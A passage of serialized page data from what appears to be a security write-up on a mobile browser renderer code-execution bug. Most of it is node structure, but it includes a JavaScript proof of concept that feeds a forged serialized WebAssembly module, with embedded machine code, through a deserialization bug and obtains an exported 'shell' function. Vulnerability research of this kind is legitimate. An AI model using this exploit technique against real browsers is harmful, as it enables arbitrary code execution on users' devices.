func",{"type":23,"tag":75,"props":147439,"children":147440},{"style":94},[147441],{"type":29,"value":14944},{"type":23,"tag":75,"props":147443,"children":147444},{"class":77,"line":340},[147445],{"type":23,"tag":75,"props":147446,"children":147447},{"style":94},[147448],{"type":29,"value":17141},{"type":23,"tag":75,"props":147450,"children":147451},{"class":77,"line":349},[147452],{"type":23,"tag":75,"props":147453,"children":147454},{"emptyLinePlaceholder":15},[147455],{"type":29,"value":276},{"type":23,"tag":75,"props":147457,"children":147458},{"class":77,"line":363},[147459,147463,147467,147471,147475,147479,147483],{"type":23,"tag":75,"props":147460,"children":147461},{"style":82},[147462],{"type":29,"value":19114},{"type":23,"tag":75,"props":147464,"children":147465},{"style":110},[147466],{"type":29,"value":146272},{"type":23,"tag":75,"props":147468,"children":147469},{"style":209},[147470],{"type":29,"value":1193},{"type":23,"tag":75,"props":147472,"children":147473},{"style":88},[147474],{"type":29,"value":146281},{"type":23,"tag":75,"props":147476,"children":147477},{"style":94},[147478],{"type":29,"value":643},{"type":23,"tag":75,"props":147480,"children":147481},{"style":110},[147482],{"type":29,"value":144196},{"type":23,"tag":75,"props":147484,"children":147485},{"style":94},[147486],{"type":29,"value":15099},{"type":23,"tag":75,"props":147488,"children":147489},{"class":77,"line":656},[147490,147494,147498,147502,147506,147510,147514,147518,147522,147526],{"type":23,"tag":75,"props":147491,"children":147492},{"style":110},[147493],{"type":29,"value":146317},{"type":23,"tag":75,"props":147495,"children":147496},{"style":209},[147497],{"type":29,"value":1193},{"type":23,"tag":75,"props":147499,"children":147500},{"style":94},[147501],{"type":29,"value":183},{"type":23,"tag":75,"props":147503,"children":147504},{"style":175},[147505],{"type":29,"value":44109},{"type":23,"tag":75,"props":147507,"children":147508},{"style":110},[147509],{"type":29,"value":146272},{"type":23,"tag":75,"props":147511,"children":147512},{"style":94},[147513],{"type":29,"value":557},{"type":23,"tag":75,"props":147515,"children":147516},{"style":88},[147517],{"type":29,"value":68749},{"type":23,"tag":75,"props":147519,"children":147520},{"style":94},[147521],{"type":29,"value":146346},{"type":23,"tag":75,"props":147523,"children":147524},{"style":110},[147525],{"type":29,"value":1672},{"type":23,"tag":75,"props":147527,"children":147528},{"style":94},[147529],{"type":29,"value":245},{"type":23,"tag":75,"props":147531,"children":147532},{"class":77,"line":705},[147533,147537,147541,147545,147549,147553],{"type":23,"tag":75,"props":147534,"children":147535},{"style":110},[147536],{"type":29,"value":112279},{"type":23,"tag":75,"props":147538,"children":147539},{"style":94},[147540],{"type":29,"value":557},{"type":23,"tag":75,"props":147542,"children":147543},{"style":88},[147544],{"type":29,"value":112288},{"type":23,"tag":75,"props":147546,"children":147547},{"style":94},[147548],{"type":29,"value":643},{"type":23,"tag":75,"props":147550,"children":147551},{"style":110},[147552],{"type":29,"value":1342},{"type":23,"tag":75,"props":147554,"children":147555},{"style":94},[147556],{"type":29,"value":15099},{"type":23,"tag":75,"props":147558,"children":147559},{"class":77,"line":787},[147560],{"type":23,"tag":75,"props":147561,"children":147562},{"emptyLinePlaceholder":15},[147563],{"type":29,"value":276},{"type":23,"tag":75,"props":147565,"children":147566},{"class":77,"line":826},[147567,147571,147576,147580,147584,147588,147592,147596],{"type":23,"tag":75,"props":147568,"children":147569},{"style":82},[147570],{"type":29,"value":19114},{"type":23,"tag":75,"props":147572,"children":147573},{"style":110},[147574],{"type":29,"value":147575}," result_bytes",{"type":23,"tag":75,"props":147577,"children":147578},{"style":209},[147579],{"type":29,"value":1193},{"type":23,"tag":75,"props":147581,"children":147582},{"style":82},[147583],{"type":29,"value":43128},{"type":23,"tag":75,"props":147585,"children":147586},{"style":88},[147587],{"type":29,"value":143802},{"type":23,"tag":75,"props":147589,"children":147590},{"style":94},[147591],{"type":29,"value":643},{"type":23,"tag":75,"props":147593,"children":147594},{"style":110},[147595],{"type":29,"value":1342},{"type":23,"tag":75,"props":147597,"children":147598},{"style":94},[147599],{"type":29,"value":15099},{"type":23,"tag":75,"props":147601,"children":147602},{"class":77,"line":834},[147603,147607,147611,147615,147619,147623,147627,147631,147635,147639,147643,147647,147651,147655,147659],{"type":23,"tag":75,"props":147604,"children":147605},{"style":110},[147606],{"type":29,"value":112279},{"type":23,"tag":75,"props":147608,"children":147609},{"style":94},[147610],{"type":29,"value":557},{"type":23,"tag":75,"props":147612,"children":147613},{"style":88},[147614],{"type":29,"value":112288},{"type":23,"tag":75,"props":147616,"children":147617},{"style":94},[147618],{"type":29,"value":643},{"type":23,"tag":75,"props":147620,"children":147621},{"style":1266},[147622],{"type":29,"value":144369},{"type":23,"tag":75,"props":147624,"children":147625},{"style":209},[147626],{"type":29,"value":20160},{"type":23,"tag":75,"props":147628,"children":147629},{"style":110},[147630],{"type":29,"value":147575},{"type":23,"tag":75,"props":147632,"children":147633},{"style":94},[147634],{"type":29,"value":557},{"type":23,"tag":75,"props":147636,"children":147637},{"style":88},[147638],{"type":29,"value":144386},{"type":23,"tag":75,"props":147640,"children":147641},{"style":94},[147642],{"type":29,"value":643},{"type":23,"tag":75,"props":147644,"children":147645},{"style":1266},[147646],{"type":29,"value":144395},{"type":23,"tag":75,"props":147648,"children":147649},{"style":94},[147650],{"type":29,"value":167},{"type":23,"tag":75,"props":147652,"children":147653},{"style":209},[147654],{"type":29,"value":7862},{"type":23,"tag":75,"props":147656,"children":147657},{"style":1266},[147658],{"type":29,"value":144408},{"type":23,"tag":75,"props":147660,"children":147661},{"style":94},[147662],{"type":29,"value":15099},{"type":23,"tag":75,"props":147664,"children":147665},{"class":77,"line":881},[147666],{"type":23,"tag":75,"props":147667,"children":147668},{"style":94},[147669],{"type":29,"value":112320},{"type":23,"tag":32,"props":147671,"children":147672},{},[147673],{"type":29,"value":147674},"We get the serialized bytes:",{"type":23,"tag":32,"props":147676,"children":147677},{},[147678],{"type":23,"tag":15189,"props":147679,"children":147682},{"alt":147680,"src":147681},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":32,"props":147684,"children":147685},{},[147686,147688,147693],{"type":29,"value":147687},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":71,"props":147689,"children":147691},{"className":147690},[],[147692],{"type":29,"value":143265},{"type":29,"value":1018},{"type":23,"tag":64,"props":147695,"children":147697},{"code":147696,"language":46810,"meta":7,"className":46808,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[147698],{"type":23,"tag":71,"props":147699,"children":147700},{"__ignoreMap":7},[147701,147724,147751,147970,148037,148044,148071,148282,148533,148784,149008,149190,149411,149489,149496,149543,149586,149622,149665,149704,149731],{"type":23,"tag":75,"props":147702,"children":147703},{"class":77,"line":78},[147704,147708,147712,147716,147720],{"type":23,"tag":75,"props":147705,"children":147706},{"style":94},[147707],{"type":29,"value":643},{"type":23,"tag":75,"props":147709,"children":147710},{"style":82},[147711],{"type":29,"value":47337},{"type":23,"tag":75,"props":147713,"children":147714},{"style":94},[147715],{"type":29,"value":50886},{"type":23,"tag":75,"props":147717,"children":147718},{"style":82},[147719],{"type":29,"value":26057},{"type":23,"tag":75,"props":147721,"children":147722},{"style":94},[147723],{"type":29,"value":401},{"type":23,"tag":75,"props":147725,"children":147726},{"class":77,"line":100},[147727,147731,147735,147739,147743,147747],{"type":23,"tag":75,"props":147728,"children":147729},{"style":82},[147730],{"type":29,"value":47380},{"type":23,"tag":75,"props":147732,"children":147733},{"style":110},[147734],{"type":29,"value":143789},{"type":23,"tag":75,"props":147736,"children":147737},{"style":209},[147738],{"type":29,"value":1193},{"type":23,"tag":75,"props":147740,"children":147741},{"style":82},[147742],{"type":29,"value":43128},{"type":23,"tag":75,"props":147744,"children":147745},{"style":88},[147746],{"type":29,"value":143802},{"type":23,"tag":75,"props":147748,"children":147749},{"style":94},[147750],{"type":29,"value":143807},{"type":23,"tag":75,"props":147752,"children":147753},{"class":77,"line":121},[147754,147758,147762,147766,147770,147774,147778,147782,147786,147790,147794,147798,147802,147806,147810,147814,147818,147822,147826,147830,147834,147838,147842,147846,147850,147854,147858,147862,147866,147870,147874,147878,147882,147886,147890,147894,147898,147902,147906,147910,147914,147918,147922,147926,147930,147934,147938,147942,147946,147950,147954,147958,147962,147966],{"type":23,"tag":75,"props":147755,"children":147756},{"style":237},[147757],{"type":29,"value":144532},{"type":23,"tag":75,"props":147759,"children":147760},{"style":94},[147761],{"type":29,"value":611},{"type":23,"tag":75,"props":147763,"children":147764},{"style":237},[147765],{"type":29,"value":143824},{"type":23,"tag":75,"props":147767,"children":147768},{"style":94},[147769],{"type":29,"value":611},{"type":23,"tag":75,"props":147771,"children":147772},{"style":237},[147773],{"type":29,"value":143833},{"type":23,"tag":75,"props":147775,"children":147776},{"style":94},[147777],{"type":29,"value":611},{"type":23,"tag":75,"props":147779,"children":147780},{"style":237},[147781],{"type":29,"value":143842},{"type":23,"tag":75,"props":147783,"children":147784},{"style":94},[147785],{"type":29,"value":611},{"type":23,"tag":75,"props":147787,"children":147788},{"style":237},[147789],{"type":29,"value":7867},{"type":23,"tag":75,"props":147791,"children":147792},{"style":94},[147793],{"type":29,"value":611},{"type":23,"tag":75,"props":147795,"children":147796},{"style":237},[147797],{"type":29,"value":648},{"type":23,"tag":75,"props":147799,"children":147800},{"style":94},[147801],{"type":29,"value":611},{"type":23,"tag":75,"props":147803,"children":147804},{"style":237},[147805],{"type":29,"value":648},{"type":23,"tag":75,"props":147807,"children":147808},{"style":94},[147809],{"type":29,"value":611},{"type":23,"tag":75,"props":147811,"children":147812},{"style":237},[147813],{"type":29,"value":648},{"type":23,"tag":75,"props":147815,"children":147816},{"style":94},[147817],{"type":29,"value":611},{"type":23,"tag":75,"props":147819,"children":147820},{"style":237},[147821],{"type":29,"value":7867},{"type":23,"tag":75,"props":147823,"children":147824},{"style":94},[147825],{"type":29,"value":611},{"type":23,"tag":75,"props":147827,"children":147828},{"style":237},[147829],{"type":29,"value":28751},{"type":23,"tag":75,"props":147831,"children":147832},{"style":94},[147833],{"type":29,"value":611},{"type":23,"tag":75,"props":147835,"children":147836},{"style":237},[147837],{"type":29,"value":7867},{"type":23,"tag":75,"props":147839,"children":147840},{"style":94},[147841],{"type":29,"value":611},{"type":23,"tag":75,"props":147843,"children":147844},{"style":237},[147845],{"type":29,"value":143907},{"type":23,"tag":75,"props":147847,"children":147848},{"style":94},[147849],{"type":29,"value":611},{"type":23,"tag":75,"props":147851,"children":147852},{"style":237},[147853],{"type":29,"value":648},{"type":23,"tag":75,"props":147855,"children":147856},{"style":94},[147857],{"type":29,"value":611},{"type":23,"tag":75,"props":147859,"children":147860},{"style":237},[147861],{"type":29,"value":648},{"type":23,"tag":75,"props":147863,"children":147864},{"style":94},[147865],{"type":29,"value":611},{"type":23,"tag":75,"props":147867,"children":147868},{"style":237},[147869],{"type":29,"value":28518},{"type":23,"tag":75,"props":147871,"children":147872},{"style":94},[147873],{"type":29,"value":611},{"type":23,"tag":75,"props":147875,"children":147876},{"style":237},[147877],{"type":29,"value":14409},{"type":23,"tag":75,"props":147879,"children":147880},{"style":94},[147881],{"type":29,"value":611},{"type":23,"tag":75,"props":147883,"children":147884},{"style":237},[147885],{"type":29,"value":7867},{"type":23,"tag":75,"props":147887,"children":147888},{"style":94},[147889],{"type":29,"value":611},{"type":23,"tag":75,"props":147891,"children":147892},{"style":237},[147893],{"type":29,"value":648},{"type":23,"tag":75,"props":147895,"children":147896},{"style":94},[147897],{"type":29,"value":611},{"type":23,"tag":75,"props":147899,"children":147900},{"style":237},[147901],{"type":29,"value":65855},{"type":23,"tag":75,"props":147903,"children":147904},{"style":94},[147905],{"type":29,"value":611},{"type":23,"tag":75,"props":147907,"children":147908},{"style":237},[147909],{"type":29,"value":67069},{"type":23,"tag":75,"props":147911,"children":147912},{"style":94},[147913],{"type":29,"value":611},{"type":23,"tag":75,"props":147915,"children":147916},{"style":237},[147917],{"type":29,"value":7867},{"type":23,"tag":75,"props":147919,"children":147920},{"style":94},[147921],{"type":29,"value":611},{"type":23,"tag":75,"props":147923,"children":147924},{"style":237},[147925],{"type":29,"value":29331},{"type":23,"tag":75,"props":147927,"children":147928},{"style":94},[147929],{"type":29,"value":611},{"type":23,"tag":75,"props":147931,"children":147932},{"style":237},[147933],{"type":29,"value":143833},{"type":23,"tag":75,"props":147935,"children":147936},{"style":94},[147937],{"type":29,"value":611},{"type":23,"tag":75,"props":147939,"children":147940},{"style":237},[147941],{"type":29,"value":144004},{"type":23,"tag":75,"props":147943,"children":147944},{"style":94},[147945],{"type":29,"value":611},{"type":23,"tag":75,"props":147947,"children":147948},{"style":237},[147949],{"type":29,"value":144013},{"type":23,"tag":75,"props":147951,"children":147952},{"style":94},[147953],{"type":29,"value":611},{"type":23,"tag":75,"props":147955,"children":147956},{"style":237},[147957],{"type":29,"value":144022},{"type":23,"tag":75,"props":147959,"children":147960},{"style":94},[147961],{"type":29,"value":611},{"type":23,"tag":75,"props":147963,"children":147964},{"style":237},[147965],{"type":29,"value":144022},{"type":23,"tag":75,"props":147967,"children":147968},{"style":94},[147969],{"type":29,"value":118},{"type":23,"tag":75,"props":147971,"children":147972},{"class":77,"line":138},[147973,147977,147981,147985,147989,147993,147997,148001,148005,148009,148013,148017,148021,148025,148029,148033],{"type":23,"tag":75,"props":147974,"children":147975},{"style":237},[147976],{"type":29,"value":144532},{"type":23,"tag":75,"props":147978,"children":147979},{"style":94},[147980],{"type":29,"value":611},{"type":23,"tag":75,"props":147982,"children":147983},{"style":237},[147984],{"type":29,"value":648},{"type":23,"tag":75,"props":147986,"children":147987},{"style":94},[147988],{"type":29,"value":611},{"type":23,"tag":75,"props":147990,"children":147991},{"style":237},[147992],{"type":29,"value":13656},{"type":23,"tag":75,"props":147994,"children":147995},{"style":94},[147996],{"type":29,"value":611},{"type":23,"tag":75,"props":147998,"children":147999},{"style":237},[148000],{"type":29,"value":28751},{"type":23,"tag":75,"props":148002,"children":148003},{"style":94},[148004],{"type":29,"value":611},{"type":23,"tag":75,"props":148006,"children":148007},{"style":237},[148008],{"type":29,"value":7867},{"type":23,"tag":75,"props":148010,"children":148011},{"style":94},[148012],{"type":29,"value":611},{"type":23,"tag":75,"props":148014,"children":148015},{"style":237},[148016],{"type":29,"value":14409},{"type":23,"tag":75,"props":148018,"children":148019},{"style":94},[148020],{"type":29,"value":611},{"type":23,"tag":75,"props":148022,"children":148023},{"style":237},[148024],{"type":29,"value":648},{"type":23,"tag":75,"props":148026,"children":148027},{"style":94},[148028],{"type":29,"value":611},{"type":23,"tag":75,"props":148030,"children":148031},{"style":237},[148032],{"type":29,"value":144098},{"type":23,"tag":75,"props":148034,"children":148035},{"style":94},[148036],{"type":29,"value":118},{"type":23,"tag":75,"props":148038,"children":148039},{"class":77,"line":161},[148040],{"type":23,"tag":75,"props":148041,"children":148042},{"style":94},[148043],{"type":29,"value":144819},{"type":23,"tag":75,"props":148045,"children":148046},{"class":77,"line":196},[148047,148051,148055,148059,148063,148067],{"type":23,"tag":75,"props":148048,"children":148049},{"style":82},[148050],{"type":29,"value":47380},{"type":23,"tag":75,"props":148052,"children":148053},{"style":110},[148054],{"type":29,"value":135602},{"type":23,"tag":75,"props":148056,"children":148057},{"style":209},[148058],{"type":29,"value":1193},{"type":23,"tag":75,"props":148060,"children":148061},{"style":82},[148062],{"type":29,"value":43128},{"type":23,"tag":75,"props":148064,"children":148065},{"style":88},[148066],{"type":29,"value":143802},{"type":23,"tag":75,"props":148068,"children":148069},{"style":94},[148070],{"type":29,"value":143807},{"type":23,"tag":75,"props":148072,"children":148073},{"class":77,"line":220},[148074,148079,148083,148087,148091,148095,148099,148103,148107,148112,148116,148121,148125,148130,148134,148139,148143,148147,148151,148155,148159,148163,148167,148171,148175,148180,148184,148189,148193,148198,148202,148206,148210,148214,148218,148222,148226,148230,148234,148238,148242,148246,148250,148254,148258,148262,148266,148270,148274,148278],{"type":23,"tag":75,"props":148075,"children":148076},{"style":237},[148077],{"type":29,"value":148078},"    146",{"type":23,"tag":75,"props":148080,"children":148081},{"style":94},[148082],{"type":29,"value":611},{"type":23,"tag":75,"props":148084,"children":148085},{"style":237},[148086],{"type":29,"value":29642},{"type":23,"tag":75,"props":148088,"children":148089},{"style":94},[148090],{"type":29,"value":611},{"type":23,"tag":75,"props":148092,"children":148093},{"style":237},[148094],{"type":29,"value":144871},{"type":23,"tag":75,"props":148096,"children":148097},{"style":94},[148098],{"type":29,"value":611},{"type":23,"tag":75,"props":148100,"children":148101},{"style":237},[148102],{"type":29,"value":144880},{"type":23,"tag":75,"props":148104,"children":148105},{"style":94},[148106],{"type":29,"value":611},{"type":23,"tag":75,"props":148108,"children":148109},{"style":237},[148110],{"type":29,"value":148111},"174",{"type":23,"tag":75,"props":148113,"children":148114},{"style":94},[148115],{"type":29,"value":611},{"type":23,"tag":75,"props":148117,"children":148118},{"style":237},[148119],{"type":29,"value":148120},"122",{"type":23,"tag":75,"props":148122,"children":148123},{"style":94},[148124],{"type":29,"value":611},{"type":23,"tag":75,"props":148126,"children":148127},{"style":237},[148128],{"type":29,"value":148129},"171",{"type":23,"tag":75,"props":148131,"children":148132},{"style":94},[148133],{"type":29,"value":611},{"type":23,"tag":75,"props":148135,"children":148136},{"style":237},[148137],{"type":29,"value":148138},"151",{"type":23,"tag":75,"props":148140,"children":148141},{"style":94},[148142],{"type":29,"value":611},{"type":23,"tag":75,"props":148144,"children":148145},{"style":237},[148146],{"type":29,"value":107002},{"type":23,"tag":75,"props":148148,"children":148149},{"style":94},[148150],{"type":29,"value":611},{"type":23,"tag":75,"props":148152,"children":148153},{"style":237},[148154],{"type":29,"value":648},{"type":23,"tag":75,"props":148156,"children":148157},{"style":94},[148158],{"type":29,"value":611},{"type":23,"tag":75,"props":148160,"children":148161},{"style":237},[148162],{"type":29,"value":648},{"type":23,"tag":75,"props":148164,"children":148165},{"style":94},[148166],{"type":29,"value":611},{"type":23,"tag":75,"props":148168,"children":148169},{"style":237},[148170],{"type":29,"value":648},{"type":23,"tag":75,"props":148172,"children":148173},{"style":94},[148174],{"type":29,"value":611},{"type":23,"tag":75,"props":148176,"children":148177},{"style":237},[148178],{"type":29,"value":148179},"39",{"type":23,"tag":75,"props":148181,"children":148182},{"style":94},[148183],{"type":29,"value":611},{"type":23,"tag":75,"props":148185,"children":148186},{"style":237},[148187],{"type":29,"value":148188},"61",{"type":23,"tag":75,"props":148190,"children":148191},{"style":94},[148192],{"type":29,"value":611},{"type":23,"tag":75,"props":148194,"children":148195},{"style":237},[148196],{"type":29,"value":148197},"60",{"type":23,"tag":75,"props":148199,"children":148200},{"style":94},[148201],{"type":29,"value":611},{"type":23,"tag":75,"props":148203,"children":148204},{"style":237},[148205],{"type":29,"value":107002},{"type":23,"tag":75,"props":148207,"children":148208},{"style":94},[148209],{"type":29,"value":611},{"type":23,"tag":75,"props":148211,"children":148212},{"style":237},[148213],{"type":29,"value":648},{"type":23,"tag":75,"props":148215,"children":148216},{"style":94},[148217],{"type":29,"value":611},{"type":23,"tag":75,"props":148219,"children":148220},{"style":237},[148221],{"type":29,"value":52037},{"type":23,"tag":75,"props":148223,"children":148224},{"style":94},[148225],{"type":29,"value":611},{"type":23,"tag":75,"props":148227,"children":148228},{"style":237},[148229],{"type":29,"value":28518},{"type":23,"tag":75,"props":148231,"children":148232},{"style":94},[148233],{"type":29,"value":611},{"type":23,"tag":75,"props":148235,"children":148236},{"style":237},[148237],{"type":29,"value":648},{"type":23,"tag":75,"props":148239,"children":148240},{"style":94},[148241],{"type":29,"value":611},{"type":23,"tag":75,"props":148243,"children":148244},{"style":237},[148245],{"type":29,"value":648},{"type":23,"tag":75,"props":148247,"children":148248},{"style":94},[148249],{"type":29,"value":611},{"type":23,"tag":75,"props":148251,"children":148252},{"style":237},[148253],{"type":29,"value":648},{"type":23,"tag":75,"props":148255,"children":148256},{"style":94},[148257],{"type":29,"value":611},{"type":23,"tag":75,"props":148259,"children":148260},{"style":237},[148261],{"type":29,"value":648},{"type":23,"tag":75,"props":148263,"children":148264},{"style":94},[148265],{"type":29,"value":611},{"type":23,"tag":75,"props":148267,"children":148268},{"style":237},[148269],{"type":29,"value":648},{"type":23,"tag":75,"props":148271,"children":148272},{"style":94},[148273],{"type":29,"value":611},{"type":23,"tag":75,"props":148275,"children":148276},{"style":237},[148277],{"type":29,"value":40619},{"type":23,"tag":75,"props":148279,"children":148280},{"style":94},[148281],{"type":29,"value":118},{"type":23,"tag":75,"props":148283,"children":148284},{"class":77,"line":248},[148285,148289,148293,148297,148301,148305,148309,148313,148317,148321,148325,148329,148333,148337,148341,148345,148349,148353,148357,148361,148365,148369,148373,148377,148381,148385,148389,148393,148397,148401,148405,148409,148413,148417,148421,148425,148429,148433,148437,148441,148445,148449,148453,148457,148461,148465,148469,148473,148477,148481,148485,148489,148493,148497,148501,148505,148509,148513,148517,148521,148525,148529],{"type":23,"tag":75,"props":148286,"children":148287},{"style":237},[148288],{"type":29,"value":144532},{"type":23,"tag":75,"props":148290,"children":148291},{"style":94},[148292],{"type":29,"value":611},{"type":23,"tag":75,"props":148294,"children":148295},{"style":237},[148296],{"type":29,"value":648},{"type":23,"tag":75,"props":148298,"children":148299},{"style":94},[148300],{"type":29,"value":611},{"type":23,"tag":75,"props":148302,"children":148303},{"style":237},[148304],{"type":29,"value":648},{"type":23,"tag":75,"props":148306,"children":148307},{"style":94},[148308],{"type":29,"value":611},{"type":23,"tag":75,"props":148310,"children":148311},{"style":237},[148312],{"type":29,"value":648},{"type":23,"tag":75,"props":148314,"children":148315},{"style":94},[148316],{"type":29,"value":611},{"type":23,"tag":75,"props":148318,"children":148319},{"style":237},[148320],{"type":29,"value":648},{"type":23,"tag":75,"props":148322,"children":148323},{"style":94},[148324],{"type":29,"value":611},{"type":23,"tag":75,"props":148326,"children":148327},{"style":237},[148328],{"type":29,"value":648},{"type":23,"tag":75,"props":148330,"children":148331},{"style":94},[148332],{"type":29,"value":611},{"type":23,"tag":75,"props":148334,"children":148335},{"style":237},[148336],{"type":29,"value":648},{"type":23,"tag":75,"props":148338,"children":148339},{"style":94},[148340],{"type":29,"value":611},{"type":23,"tag":75,"props":148342,"children":148343},{"style":237},[148344],{"type":29,"value":7867},{"type":23,"tag":75,"props":148346,"children":148347},{"style":94},[148348],{"type":29,"value":611},{"type":23,"tag":75,"props":148350,"children":148351},{"style":237},[148352],{"type":29,"value":648},{"type":23,"tag":75,"props":148354,"children":148355},{"style":94},[148356],{"type":29,"value":611},{"type":23,"tag":75,"props":148358,"children":148359},{"style":237},[148360],{"type":29,"value":648},{"type":23,"tag":75,"props":148362,"children":148363},{"style":94},[148364],{"type":29,"value":611},{"type":23,"tag":75,"props":148366,"children":148367},{"style":237},[148368],{"type":29,"value":648},{"type":23,"tag":75,"props":148370,"children":148371},{"style":94},[148372],{"type":29,"value":611},{"type":23,"tag":75,"props":148374,"children":148375},{"style":237},[148376],{"type":29,"value":648},{"type":23,"tag":75,"props":148378,"children":148379},{"style":94},[148380],{"type":29,"value":611},{"type":23,"tag":75,"props":148382,"children":148383},{"style":237},[148384],{"type":29,"value":648},{"type":23,"tag":75,"props":148386,"children":148387},{"style":94},[148388],{"type":29,"value":611},{"type":23,"tag":75,"props":148390,"children":148391},{"style":237},[148392],{"type":29,"value":648},{"type":23,"tag":75,"props":148394,"children":148395},{"style":94},[148396],{"type":29,"value":611},{"type":23,"tag":75,"props":148398,"children":148399},{"style":237},[148400],{"type":29,"value":648},{"type":23,"tag":75,"props":148402,"children":148403},{"style":94},[148404],{"type":29,"value":611},{"type":23,"tag":75,"props":148406,"children":148407},{"style":237},[148408],{"type":29,"value":648},{"type":23,"tag":75,"props":148410,"children":148411},{"style":94},[148412],{"type":29,"value":611},{"type":23,"tag":75,"props":148414,"children":148415},{"style":237},[148416],{"type":29,"value":28751},{"type":23,"tag":75,"props":148418,"children":148419},{"style":94},[148420],{"type":29,"value":611},{"type":23,"tag":75,"props":148422,"children":148423},{"style":237},[148424],{"type":29,"value":56317},{"type":23,"tag":75,"props":148426,"children":148427},{"style":94},[148428],{"type":29,"value":611},{"type":23,"tag":75,"props":148430,"children":148431},{"style":237},[148432],{"type":29,"value":648},{"type":23,"tag":75,"props":148434,"children":148435},{"style":94},[148436],{"type":29,"value":611},{"type":23,"tag":75,"props":148438,"children":148439},{"style":237},[148440],{"type":29,"value":648},{"type":23,"tag":75,"props":148442,"children":148443},{"style":94},[148444],{"type":29,"value":611},{"type":23,"tag":75,"props":148446,"children":148447},{"style":237},[148448],{"type":29,"value":648},{"type":23,"tag":75,"props":148450,"children":148451},{"style":94},[148452],{"type":29,"value":611},{"type":23,"tag":75,"props":148454,"children":148455},{"style":237},[148456],{"type":29,"value":144907},{"type":23,"tag":75,"props":148458,"children":148459},{"style":94},[148460],{"type":29,"value":611},{"type":23,"tag":75,"props":148462,"children":148463},{"style":237},[148464],{"type":29,"value":648},{"type":23,"tag":75,"props":148466,"children":148467},{"style":94},[148468],{"type":29,"value":611},{"type":23,"tag":75,"props":148470,"children":148471},{"style":237},[148472],{"type":29,"value":648},{"type":23,"tag":75,"props":148474,"children":148475},{"style":94},[148476],{"type":29,"value":611},{"type":23,"tag":75,"props":148478,"children":148479},{"style":237},[148480],{"type":29,"value":648},{"type":23,"tag":75,"props":148482,"children":148483},{"style":94},[148484],{"type":29,"value":611},{"type":23,"tag":75,"props":148486,"children":148487},{"style":237},[148488],{"type":29,"value":56317},{"type":23,"tag":75,"props":148490,"children":148491},{"style":94},[148492],{"type":29,"value":611},{"type":23,"tag":75,"props":148494,"children":148495},{"style":237},[148496],{"type":29,"value":648},{"type":23,"tag":75,"props":148498,"children":148499},{"style":94},[148500],{"type":29,"value":611},{"type":23,"tag":75,"props":148502,"children":148503},{"style":237},[148504],{"type":29,"value":648},{"type":23,"tag":75,"props":148506,"children":148507},{"style":94},[148508],{"type":29,"value":611},{"type":23,"tag":75,"props":148510,"children":148511},{"style":237},[148512],{"type":29,"value":648},{"type":23,"tag":75,"props":148514,"children":148515},{"style":94},[148516],{"type":29,"value":611},{"type":23,"tag":75,"props":148518,"children":148519},{"style":237},[148520],{"type":29,"value":56317},{"type":23,"tag":75,"props":148522,"children":148523},{"style":94},[148524],{"type":29,"value":611},{"type":23,"tag":75,"props":148526,"children":148527},{"style":237},[148528],{"type":29,"value":648},{"type":23,"tag":75,"props":148530,"children":148531},{"style":94},[148532],{"type":29,"value":118},{"type":23,"tag":75,"props":148534,"children":148535},{"class":77,"line":270},[148536,148540,148544,148548,148552,148556,148560,148564,148568,148572,148576,148580,148584,148588,148592,148596,148600,148604,148608,148612,148616,148620,148624,148628,148632,148636,148640,148644,148648,148652,148656,148660,148664,148668,148672,148676,148680,148684,148688,148692,148696,148700,148704,148708,148712,148716,148720,148724,148728,148732,148736,148740,148744,148748,148752,148756,148760,148764,148768,148772,148776,148780],{"type":23,"tag":75,"props":148537,"children":148538},{"style":237},[148539],{"type":29,"value":144532},{"type":23,"tag":75,"props":148541,"children":148542},{"style":94},[148543],{"type":29,"value":611},{"type":23,"tag":75,"props":148545,"children":148546},{"style":237},[148547],{"type":29,"value":648},{"type":23,"tag":75,"props":148549,"children":148550},{"style":94},[148551],{"type":29,"value":611},{"type":23,"tag":75,"props":148553,"children":148554},{"style":237},[148555],{"type":29,"value":56317},{"type":23,"tag":75,"props":148557,"children":148558},{"style":94},[148559],{"type":29,"value":611},{"type":23,"tag":75,"props":148561,"children":148562},{"style":237},[148563],{"type":29,"value":648},{"type":23,"tag":75,"props":148565,"children":148566},{"style":94},[148567],{"type":29,"value":611},{"type":23,"tag":75,"props":148569,"children":148570},{"style":237},[148571],{"type":29,"value":648},{"type":23,"tag":75,"props":148573,"children":148574},{"style":94},[148575],{"type":29,"value":611},{"type":23,"tag":75,"props":148577,"children":148578},{"style":237},[148579],{"type":29,"value":648},{"type":23,"tag":75,"props":148581,"children":148582},{"style":94},[148583],{"type":29,"value":611},{"type":23,"tag":75,"props":148585,"children":148586},{"style":237},[148587],{"type":29,"value":28751},{"type":23,"tag":75,"props":148589,"children":148590},{"style":94},[148591],{"type":29,"value":611},{"type":23,"tag":75,"props":148593,"children":148594},{"style":237},[148595],{"type":29,"value":648},{"type":23,"tag":75,"props":148597,"children":148598},{"style":94},[148599],{"type":